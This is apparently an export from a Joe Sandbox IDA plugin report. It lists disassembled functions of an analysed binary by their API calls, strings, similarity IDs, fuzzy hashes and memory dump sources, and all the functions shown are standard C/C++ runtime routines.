Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 613922c8e25af1602179900a43b99b80e94f3c97a383fb2bdbdf78a8ed2097ed
Instruction ID: 06d1e9825005c5ae3c93a92e878fb9c517afc07ef513114c8c9cfa5d73766741
Opcode Fuzzy Hash: 613922c8e25af1602179900a43b99b80e94f3c97a383fb2bdbdf78a8ed2097ed
Instruction Fuzzy Hash: AD31F5B5D052289BDF21EFA5D9497CDBBB8AF08304F1041AAE40CAB250EB709B85DF45

Function 009AA1B2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,00000000,7FFFFFFF,?,009AA19D,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 009AA258
__alloca_probe_16.LIBCMT ref: 009AA313
__alloca_probe_16.LIBCMT ref: 009AA3A2
__freea.LIBCMT ref: 009AA3ED
__freea.LIBCMT ref: 009AA3F3
__freea.LIBCMT ref: 009AA429
__freea.LIBCMT ref: 009AA42F
__freea.LIBCMT ref: 009AA43F

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 5b2b783bd4fdb498f6bb5cb391c42ef3578edfa1273214e0fd55aeaeaeece609
Instruction ID: 8cf9055788fdb9f9d2bed80bae3a6f7e351f817512a1dad43468eba4cdb4542f
Opcode Fuzzy Hash: 5b2b783bd4fdb498f6bb5cb391c42ef3578edfa1273214e0fd55aeaeaeece609
Instruction Fuzzy Hash: 8771E5729002459BDF219F648C81BAE77EEEF8B710F250459FD14A7291EB7A9C40C7E2

Function 0099DC7B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0099DD01

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 76cd254f3b8e765761cdde82e3165a3a1630fbfe1fb7a850d07f14f5abbed5a0
Instruction ID: 81ef36e20875f5403fa0f7070a2c98e810a27488b0afc8a6282566bf31dad5ca
Opcode Fuzzy Hash: 76cd254f3b8e765761cdde82e3165a3a1630fbfe1fb7a850d07f14f5abbed5a0
Instruction Fuzzy Hash: 64B15A72A063559FEF11CFACCCC2BBEBBA9EFA5350F144555E405AF282D2749901C7A0

Function 0098F7F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0098F827
___except_validate_context_record.LIBVCRUNTIME ref: 0098F82F
_ValidateLocalCookies.LIBCMT ref: 0098F8B8
__IsNonwritableInCurrentImage.LIBCMT ref: 0098F8E3
_ValidateLocalCookies.LIBCMT ref: 0098F938

Strings

csm, xrefs: 0098F8CD

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e719a19282537467e7755e2694b4a5044b5ec889a3831c46bd26a006b7646922
Instruction ID: e25478954a0a9c72850df9f1c6f8c689f4f09d8323a23c5e162c1c3a3d0a08c8
Opcode Fuzzy Hash: e719a19282537467e7755e2694b4a5044b5ec889a3831c46bd26a006b7646922
Instruction Fuzzy Hash: B941E731E00218ABCF10EF68C894B9E7BB5EF85324F148165E815AB392D735DE15CBD1

Function 0099BD42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB40E64E,?,0099BE51,009835D2,?,00000000,?), ref: 0099BE03

Strings

api-ms-, xrefs: 0099BD99
ext-ms-, xrefs: 0099BDAD

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: caea27f6a9aebc3339d813ff974f22182cdcb416de1ac38aecd0fb485d08f3a6
Instruction ID: e7b3348feb83d847b4abc2b2069e35d7a79e304c6e8222e503201e61715736ee
Opcode Fuzzy Hash: caea27f6a9aebc3339d813ff974f22182cdcb416de1ac38aecd0fb485d08f3a6
Instruction Fuzzy Hash: 362105B1A09224A7CF219B6DFE41B9B375C9F417B0F250220E916A72D1DB38ED00D6D0

Function 0098EB1C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0098EB22
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0098EB30
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0098EB41

Strings

kernel32.dll, xrefs: 0098EB1D
GetTempPath2W, xrefs: 0098EB36
GetSystemTimePreciseAsFileTime, xrefs: 0098EB2A

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: cc01cb2807f8ca4750c4430e87a260093e93099c25ede77a43225ca059908ae4
Instruction ID: a372d591b16d7acf07398ca0ac43e76616d7eed101e2be2328d3500459b3719f
Opcode Fuzzy Hash: cc01cb2807f8ca4750c4430e87a260093e93099c25ede77a43225ca059908ae4
Instruction Fuzzy Hash: C7D09E355AD3206F8700ABB0BE4A8D67E94EF856393054755F501D2561D7B44940AB94

Function 009A8A9C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7f7578a7da2f4e13e7039ea09bb6f49e613395e29d8fb84c21ef5497dd63ea7
Instruction ID: 111531af8752034f70e11d5942893829c646e9e041673dcc04e9852440ccd37e
Opcode Fuzzy Hash: f7f7578a7da2f4e13e7039ea09bb6f49e613395e29d8fb84c21ef5497dd63ea7
Instruction Fuzzy Hash: 7CB1D5B0A08249AFDF15EFA8C841BAF7BB5FF96310F144158E404A72D2DB759941CBE0

Function 00999AF4 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00999AEB,0098F5BA,0098E585), ref: 00999B02
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00999B10
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00999B29
SetLastError.KERNEL32(00000000,00999AEB,0098F5BA,0098E585), ref: 00999B7B

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4611bd4eb6c2a04d6712414935bb6248391a38ff70cc9ca7c5533e03a57e7ea9
Instruction ID: 65b578025da502ab14654a3f549d28d92a0ce4e6e4376b5091281cab77f8d9ab
Opcode Fuzzy Hash: 4611bd4eb6c2a04d6712414935bb6248391a38ff70cc9ca7c5533e03a57e7ea9
Instruction Fuzzy Hash: C401D83222DA116EAE242FFCBD86B1B2A5CEB56775721032EF521755F2EE195C00B190

Function 0099A3BC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0099A4DB
CallUnexpected.LIBVCRUNTIME ref: 0099A754

Strings

csm, xrefs: 0099A3F9
csm, xrefs: 0099A512
csm, xrefs: 0099A466

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 7465d04e73da00f9c4388f8c20228908be7ba01cb8015c6fc83e1bed186b2290
Instruction ID: 6027dc37abb9893c490cb3dac553a0d8d3b1f0b65c7e852bf4e68132ef6b5d5e
Opcode Fuzzy Hash: 7465d04e73da00f9c4388f8c20228908be7ba01cb8015c6fc83e1bed186b2290
Instruction Fuzzy Hash: A5B18671800209EFCF14DFADC885AAEBBB9FF54310F18456AE8056B222D735DA51CBD2

Function 00994A89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,009AB3E5,000000FF,?,00994B4A,00994A31,?,00994BE6,00000000), ref: 00994ABE
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,009AB3E5,000000FF,?,00994B4A,00994A31,?,00994BE6,00000000), ref: 00994AD0
FreeLibrary.KERNEL32(00000000,?,?,00000000,009AB3E5,000000FF,?,00994B4A,00994A31,?,00994BE6,00000000), ref: 00994AF2

Strings

mscoree.dll, xrefs: 00994AB7
CorExitProcess, xrefs: 00994AC8

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8e53789be631367d772b0ce1088f3c325d6efd68736868c6b740339f047b596a
Instruction ID: a8b44951823fadd13a04fd14b341a8dc38c8c67dcb4ea44a36a0825987f897ec
Opcode Fuzzy Hash: 8e53789be631367d772b0ce1088f3c325d6efd68736868c6b740339f047b596a
Instruction Fuzzy Hash: 5B01A735998615AFCB129F84DD05FAF7BFCFB44B25F000629F821A2690DB749900DA94

Function 0099C516 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0099C59B
__alloca_probe_16.LIBCMT ref: 0099C664
__freea.LIBCMT ref: 0099C6CB

Part of subcall function 0099AD61: HeapAlloc.KERNEL32(00000000,?,?,?,0098B9E5,?,?,009835D2,00001000,?,0098351A), ref: 0099AD93

__freea.LIBCMT ref: 0099C6DE
__freea.LIBCMT ref: 0099C6EB

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 1390140f15e32be261f4c1b850a9b086c326aaac362bde971ed526a86ccb06c7
Instruction ID: f6951f076a2eead8a6e3b9ee65bd5e9b77cb2c79d7d888a989944c0ae8b87a9c
Opcode Fuzzy Hash: 1390140f15e32be261f4c1b850a9b086c326aaac362bde971ed526a86ccb06c7
Instruction Fuzzy Hash: 8251AFB2600247AFEF21AF68DC81EBB7AADEF98710B15052AFC05D7151EB75DD108660

Function 00981860 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00981912
CloseHandle.KERNEL32 ref: 0098192E

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: CloseFileHandleSize
String ID:
API String ID: 3849164406-0
Opcode ID: 9a21729335cd2d85580ddf745aa5b0e3cda2bea131c0550d15b7974e35dbf5cd
Instruction ID: 1133a2cb3c91c0bda31fd3a38476e2650099663281f611f60b24729ec5f1ed97
Opcode Fuzzy Hash: 9a21729335cd2d85580ddf745aa5b0e3cda2bea131c0550d15b7974e35dbf5cd
Instruction Fuzzy Hash: CA71B1B0D08258CFCB04EFA8D58979DBBF4BF48314F10892AE499AB351D735A945CF52

Function 0098E8E7 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(009B6898,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E8FB
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E91A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E948
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E9A3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E9BA

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 6c430f17a97a5c3a9b2a58371b0260efed24c1abe7b362f6451fc0f0ed486dae
Instruction ID: d454df10600a9ba5605f85dd8bb158d7fd970158a5afcf5526bf0047c6d5363b
Opcode Fuzzy Hash: 6c430f17a97a5c3a9b2a58371b0260efed24c1abe7b362f6451fc0f0ed486dae
Instruction Fuzzy Hash: 97416B31504606DFCB64EF65C5A5A6AB3F8FF08360B204A2AE456D7740E7B2F984CB51

Function 0098C054 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0098C05B
std::_Lockit::_Lockit.LIBCPMT ref: 0098C066
std::_Lockit::~_Lockit.LIBCPMT ref: 0098C0D4

Part of subcall function 0098BF5D: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0098BF75

std::locale::_Setgloballocale.LIBCPMT ref: 0098C081
_Yarn.LIBCPMT ref: 0098C097

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 3156da1573939fa9d5283d58178ecf28b46f57b2a989d260ff91191e59377121
Instruction ID: 3dfaab01e6112c17cb12dd9c3865c01c2dec6459072f08190ac283027d10f1a2
Opcode Fuzzy Hash: 3156da1573939fa9d5283d58178ecf28b46f57b2a989d260ff91191e59377121
Instruction Fuzzy Hash: 4E019AB5A04510DBCB06FB20895567D7BA1BBC5760B190248E816573C2CF34AA42DBD1

Function 009A52C1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,009A535D,00000000,?,009B8180,?,?,?,009A5294,00000004,InitializeCriticalSectionEx,009AF434,009AF43C), ref: 009A52CE
GetLastError.KERNEL32(?,009A535D,00000000,?,009B8180,?,?,?,009A5294,00000004,InitializeCriticalSectionEx,009AF434,009AF43C,00000000,?,0099AA0C), ref: 009A52D8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 009A5300

Strings

api-ms-, xrefs: 009A52E5

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 95c08a5a8a4ae53471fde5aacabd4840b154ab056a2e6fc1ae26fd815678e37f
Instruction ID: b631dec8986c25a5ffdc2f3b700d4363554bf8e6ae6755e9cbc717c1573e30fe
Opcode Fuzzy Hash: 95c08a5a8a4ae53471fde5aacabd4840b154ab056a2e6fc1ae26fd815678e37f
Instruction Fuzzy Hash: FBE04F303C4305F7EF201B61EE06B5D3E59AB51FA5F104030FA0DE84E2DBE1E810A584

Function 009A30BF Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 009A3122

Part of subcall function 0099AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0099C6C1,?,00000000,-00000008), ref: 0099AED2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009A3374
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009A33BA
GetLastError.KERNEL32 ref: 009A345D

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b4246c30507a95fa88bc0a949893937b81a1a45c82c637971f79226c54e093f2
Instruction ID: b50437223bafdd3906330003218e29de17960fd73ef84d79f9143cc1f02fb48a
Opcode Fuzzy Hash: b4246c30507a95fa88bc0a949893937b81a1a45c82c637971f79226c54e093f2
Instruction Fuzzy Hash: 7ED15C75D082499FCF15CFE8D880AADBBF9FF4A310F14856AE425EB251D730AA41CB90

Function 0099A0E3 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0099A1AA
___AdjustPointer.LIBCMT ref: 0099A1CD
___AdjustPointer.LIBCMT ref: 0099A269

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3914424ea3e0075fc024e9bc66cc5026925c212f3a03326f6cc4a61ad663bb83
Instruction ID: 84c92c5003560df337c16edc5c5aae87f00e92397e72f5e207ac6ad32c0bc5ca
Opcode Fuzzy Hash: 3914424ea3e0075fc024e9bc66cc5026925c212f3a03326f6cc4a61ad663bb83
Instruction Fuzzy Hash: 9E51D1726042069FDF259F58D845B7A77A8FF54710F14452DE826472A1E732ED80CBD2

Function 009A0B86 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0099AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0099C6C1,?,00000000,-00000008), ref: 0099AED2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009A0BEA
__dosmaperr.LIBCMT ref: 009A0BF1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009A0C2B
__dosmaperr.LIBCMT ref: 009A0C32

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: d4e68fa112bc4c1d6e50a50f4e53ca781b258e948aede1c04be178deb44704ee
Instruction ID: b4f055e16eaacd13e1254c0bab7e5d257db9b3e65e8221a95fea928390b59c1b
Opcode Fuzzy Hash: d4e68fa112bc4c1d6e50a50f4e53ca781b258e948aede1c04be178deb44704ee
